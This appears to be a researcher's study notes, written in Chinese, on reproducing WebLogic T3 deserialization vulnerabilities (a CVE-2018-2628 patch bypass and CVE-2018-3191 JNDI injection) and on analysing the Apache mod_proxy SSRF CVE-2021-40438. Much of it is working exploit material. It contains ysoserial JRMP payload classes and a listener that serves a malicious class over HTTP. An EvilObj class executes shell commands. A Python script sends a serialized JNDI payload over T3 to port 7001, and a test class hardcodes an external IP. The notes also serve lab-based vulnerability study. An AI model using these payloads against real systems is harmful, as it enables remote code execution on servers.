原漏洞作者绕过的方法是使用java.rmi.activation.Activator进行绕过,参考:CVE-2018-2628 简单复现与分析,但是实际上,在反序列化时,这个接口根本就没有什么用处,所以随便一个接口都可以绕过,参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)

比如上述cL0und师傅说的换成Map都可以的,如下代码所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//
package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.util.Map;

@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> {

public Map getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Map proxy = (Map) Proxy.newProxyInstance(
JRMPClient.class.getClassLoader(),
new Class[] { Map.class },
obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
  • ysoserial添加payload

这里再记录一下在ysoserial中添加payload。其实git clone下来用IDEA打开,等待pom.xml加载库,然后在ysoserialsrc/main/java/ysoserial/payloads中新建对应类放入即可,比如这里就放入JRMPClient3就行。最后再用如命令mvn clean package -DskipTests打包一下就能用。

接口是什么没有关系,实际上最本质的是UnicastRef这个对象就能建立远程连接并且获取信息。比如如下的JRMPClient2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> {

public UnicastRef getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

在实际的调用栈如下,也能完成利用。

image-20230209182117569

此外由于CVE-2017-3248的补丁黑名单是添加到resolveProxyClass中,而对于resolveProxyClass而言,只要反序列化的对象没有proxy类的,那么resolveProxyClass就不会被调用到,那么其实只用UnicastRefpayload根本就不会碰到CVE-2017-3248的补丁黑名单过滤。

参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)

漏洞修复

CVE-2018-2628漏洞的修复最终添加的黑名单是sun.rmi.server.UnicastRef,放在weblogic.utils.io.oif.WebLogicFilterConfig中。

但是该漏洞的修复并没有用,因为在UnicastRef经过RemoteObjectInvocationHandler的封装后,其序列化和反序列化过程是在RemoteObjectInvocationHandler父类RemoteObjectreadObject/writeObject中完成的

image-20230209202440301

所以当在resovleClass中获取类名尝试拦截时,获取到RemoteObjectInvocationHandler之后,下一个是获取不到UnicastRef的,因为UnicastRef已经在RemoteObjectInvocationHandler反序列化过程中完成了反序列化,所以该漏洞的补丁和没加一样的。

参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)

疑问

在调试进行序列化和反序列化的时候,我尝试在本地进行,如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package ysoserial.test.payloads;

import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

public class myTest {
public Registry getObject (){
String host = "123.249.17.65";
int port = 9999;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(
myTest.class.getClassLoader(),
new Class[] {Registry.class},
obj);
return proxy;
//return ref;
}


public static void main ( final String[] args ) throws IOException, NotBoundException, ClassNotFoundException {
myTest test = new myTest();
Registry testObj = test.getObject();
FileOutputStream fout = new FileOutputStream("fileStream.txt");

//ObjectOutputStream 将 Java 对象的基本数据类型和图形写入 OutputStream。可以使用 ObjectInputStream 读取(重构)对象。
ObjectOutputStream out = new ObjectOutputStream(fout);

//writeObject 方法负责写入特定类的对象状态,以便相应的 readObject 方法可以恢复它。
out.writeObject(testObj);

//FileInputStream 类从文件系统中的一个文件中获取输入字节。
FileInputStream fin = new FileInputStream("fileStream.txt");

//创建从指定 InputStream 读取的 ObjectInputStream。从流读取序列化头部并予以验证。
ObjectInputStream in = new ObjectInputStream(fin);
Registry unSerObj = (Registry) in.readObject();

System.out.println(testObj);
}
}

在开启了JRMPListerner之后,反序列化的过程中并没有命令执行,经过调试,最终也会走入到executeCall方法,但是总是没办法接收到远程的数据,而远程显示已经发送的数据,但是就是接收不到,不知道为什么。实际的调用栈其实也差不多

image-20230209183545852

在本地调试时也会进入到executeCall#var14 = this.in.readObject();

但是反序列化得到的结果不是想要的,水平比较菜,也没有找到反序列化的数据在哪里。寄寄。

但是实际上,如果在上述代码最后加上一个远程通信代码

1
unSerObj.list();

这样就可以得到命令执行,同样也是在executeCall#var14 = this.in.readObject();进行的反序列化得到命令执行,有点整不会了。mark一下

JNDI注入

学到Weblogic的一些洞,发现其中的JNDI注入(Java Naming and Directory Interface)挺有意思,就来复现一下。

首先以java1.6.0_45为例子,比较原始一点,不涉及之后JAVA版本对于JNDI注入的一些限制

简单例子

做个简单JNDI的运行例子,画一下图更加清楚一点

image-20230210201304085

server/register

直接就放在一起了,用wh1t3p1g师傅改版后的ysoserial

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 1099 EvilObj http://LDAP_IP/

这个EvilObj即代表在LDAP服务中的EvilObj.class,随便写点恶意代码就行

参考:JNDI with RMI-安全客 - 安全资讯平台 (anquanke.com)

1
2
3
4
5
6
7
8
9
10
11
12
/**
* @author wh1t3P1g
* @since 2020/2/4
*/
public class EvilObj {

public EvilObj() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "calc"};
rt.exec(commands);
}
}

javac编译生成的EvilObj.class,放在LDAP服务目录下即可

LDAP服务

这个直接开启Web服务就行,比如用Python

1
python3 -m http.server 80

然后Web目录下得有上述的EvilObj.class,即http://LDAP_IP/EvilObj.class得访问下载到才行。

当然这个LDAP服务和上面的server放一起也行,用wh1t3p1g师傅改版后的ysoserial同样可以完成,但是师傅可能更改了一些代码,现在不太好使,也可能是自己方法不对。这里就自己写了一下,借助一下师傅的PayloadClassFileHTTPServer类,然后整合一下放到ysoserial.exploit里面就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package ysoserial.exploit;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;

import javax.naming.Reference;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;


/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class RMIRefWithHttpServerListener {

public static final void main ( String[] args ) throws Exception{

if ( args.length < 4 ) {
System.err.println(RMIRefWithHttpServerListener.class.getName() + "<registryHost:registryPort> <PayloadServerPort> <factory_name> <command>");
System.exit(-1);
return;
}

System.setProperty("sun.rmi.transport.tcp.logLevel","BRIEF");
String[] registry = args[0].split(":");
int registryPort = Integer.parseInt(registry[1]);
String host = registry[0];
int httpServerPort = Integer.parseInt(args[1]);
String factoryURL = "http://"+host+":"+httpServerPort+"/";
String factoryName = args[2];
String command = args[3];


// int registryPort = 9999;
// String host = "localhost";
// int httpServerPort = 80;
// String factoryName = "EvilObj";
// String factoryURL = "http://"+host+":"+httpServerPort+"/";
//
// String command = "touch aaa";



Reference reference = new Reference(factoryName,factoryName,factoryURL);
final Object payloadObject = new ReferenceWrapper(reference);

try {
PayloadClassFileHTTPServer server = new PayloadClassFileHTTPServer(httpServerPort, factoryName, command);
server.run();

System.err.println("* URL: rmi://"+host+":"+registryPort+"/"+factoryName);
System.err.println("* FactoryURL: " + factoryURL);
System.err.println("* Opening JRMP listener on " + registryPort);

RMIRefListener c = new RMIRefListener(registryPort, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}

}

命令如下

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefWithHttpServerListener [registry_IP:registry_PORT] [LDAP_Port] [EvilObj_name] [command]

client

本地访问一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package ysoserial.test.payloads;

import javax.naming.Context;
import javax.naming.InitialContext;


public class myTest {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup("rmi://[registry_IP]:[registry_Port]/EvilObj");
}
}

这里的两行代码

1
2
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

是在某个新的JDK之后由于com.sun.jndi.ldap.object.trustURLCodebasecom.sun.jndi.rmi.object.trustURLCodebase默认设置为false,导致无法利用RMI机制以及LDAP机制。当没有设置时,进行lookup调试后会进入如下判断

  • RMI判断

    RegistryContext#decodeObject判断com.sun.jndi.rmi.object.trustURLCodebase

    image-20230211163219141

  • LDAP判断

    NamingManager#getObjectFactoryFromReference进入VersionHelper12#loadClass判断com.sun.jndi.ldap.object.trustURLCodebase

    image-20230211163527766

    image-20230211163544591

所以这里将其设置为true,或者命令行也行

1
...

详细看下图

image-20230211124056681

参考:攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客

CVE-2018-3191

Weblogic中关于JNDI注入的,比较原始的应该就算这个洞了吧。

环境搭建

也是类似的,用vulhub的,就用CVE-2018-2628Weblogic,参考:https://xz.aliyun.com/t/10172#toc-1

记得最后把docker重启一下就行

漏洞分析

调试准备
  • 本地准备

    生成在T3协议中进行反序列化的JtaTransactionManager类,该类不在T3协议的黑名单中,可以被反序列化,如下代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    package ysoserial.payloads;

    import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;

    public class JNDI {
    public static void main(String[] args) throws IOException {
    String jndiAddress = "rmi://[registry_IP]:[registry_Port]/EvilObj";
    JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
    jtaTransactionManager.setUserTransactionName(jndiAddress);
    ser(jtaTransactionManager, "CVE_2018_3191.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
    File file = new File(serName);
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
    oos.writeObject(obj);
    System.out.println("-------序列化成功" + serName);
    }
    }

    上述代码参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)

    其中的JtaTransactionManager类是在Weblogic中的,将Weblogic中的modules打包出来放在IDEA中加载即可。

    image-20230211154619832

    相关的EXP如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    from os import popen
    import struct # 负责大小端的转换
    import subprocess
    from sys import stdout
    import socket
    import re
    import binascii

    def generatePayload(gadget,cmd):
    YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

    def getFilePayload(path):
    with open(path, "rb") as f:
    return f.read()

    def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
    print("Weblogic: "+"".join(match))
    else:
    print("Not Weblogic")
    return
    #payload的长度四字节无符号整数
    payloadLen = binascii.a2b_hex(b"00000000")

    #头部某些地方改掉也没关系,估计是只检测了一部分
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

    #反序列化标志,这个不能改
    desflag = binascii.a2b_hex(b"fe010000")

    payload = payloadLen + t3header +desflag+ payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

    if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    #gadget = "JNDI"
    #command = "xxx:xxx"
    #payload = generatePayload(gadget, command)
    payload = getFilePayload("/home/hacker/Desktop/WEB/JAVA/ysoserial/CVE_2018_3191.ser")
    T3Exploit(host, port, payload)
  • 服务器准备

    使用如下代码搭建

    • registry

      1
      java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 9999 EvilObj http://[LDAP_IP]/
    • LDAP服务

      EvilObj.class放在该目录下

      1
      python3 -m http.server 80

需要注意的是,这里CVE-2018-2628中的Weblogicjava环境是1.6.0_45,而如果服务器中的java环境大于此版本,其生成的EvilObj就无法被成功解析,会出现如下版本不匹配问题,导致无法完成漏洞利用。

123421

而高版本解析低版本则没有什么关系,所以一般需要找对应版本的java来生成EvilObj然后挂载到服务器上。

最后有如下结果所示,然后版本也没有不匹配就应该差不多了。

image-20230211164042119

具体分析

漏洞点出在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject中调用了initUserTransactionAndTransactionManager

image-20230211155605398

继续跟进initUserTransactionAndTransactionManager,判断一下this.userTransactionName就会调用到this.lookupUserTransaction函数,而this.userTransactionName在反序列化中是可控的

image-20230211155652699

this.lookupUserTransaction函数中会调用到JndiTemplate#lookup函数,并且以userTransactionName作为参数

image-20230211155802378

JndiTemplate#lookup函数中会再调用一次本类中单个name参数的lookup函数

image-20230211160058002

在该单个name参数的lookup函数中找到最终的漏洞根源,使用了Contextlookup函数来远程加载恶意类,该name就是JtaTransactionManager.userTransactionName,是可控的。

image-20230211160128732

这个this.execute就会调用到这里重写的doInContext函数,触发漏洞

image-20230211160717241

HTTPD(Apache)

CVE-2021-40438

Apache版本小于2.4.48,由于代理模块mod_proxy的漏洞,可以造成ApacheSSRF,需要开启如下两个模块

1
2
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

即在/conf/httpd.conf中注释掉

image-20230214103829499

环境搭建

参考P神的编译调试 Apache

漏洞分析

相关的漏洞链条如下

1
2
3
mod_proxy.c/proxy_handler
proxy_util.c/ap_proxy_pre_request
proxy_util.c/fix_uds_filename

同样也是参考P神的:Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)

断点下在modules/proxy/proxy_util.cfix_uds_filename函数头部

image-20230214104203749

随便发送一个数据包访问一下即可断下来,该函数相关注释如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void fix_uds_filename(request_rec *r, char **url) 
{
char *ptr, *ptr2;
if (!r || !r->filename) return;

if (!strncmp(r->filename, "proxy:", 6) &&
(ptr2 = ap_strcasestr(r->filename, "unix:")) &&
(ptr = ap_strchr(ptr2, '|'))) {
apr_uri_t urisock;
apr_status_t rv;
*ptr = '\0';
rv = apr_uri_parse(r->pool, ptr2, &urisock);
if (rv == APR_SUCCESS) {
char *rurl = ptr+1;
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
/* r->filename starts w/ "proxy:", so add after that */
memmove(r->filename+6, rurl, strlen(rurl)+1);
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
}
else {
*ptr = '|';
}
}
}

首先关注的一点是r->filename,这里我输入的urlhttp://127.0.0.1:4444/?aaaaaa,其r->filename相关值如下,为proxy:http://192.168.1.1/?aaaaaa

image-20230214105305206

即将我们设置中的代理和用户的输入url路径进行了拼接

image-20230214105328864

也就是说这个r->filename是一部分可控的。

那么依据在fix_uds_filename函数的第二个if判定以及相关的函数注释

  • ap_strcasestr

    aaa

  • ap_strchr

    image-20230214105648945

那么即可推导出进入该if的条件

  • r->filename的前6个字符等于proxy:
  • r->filename的字符串中含有字串unix:
  • unix:字串的后面部分含有字符|

比如这样的proxy:http://192.168.1.1/?unix:aaaaaa|http://127.0.0.1/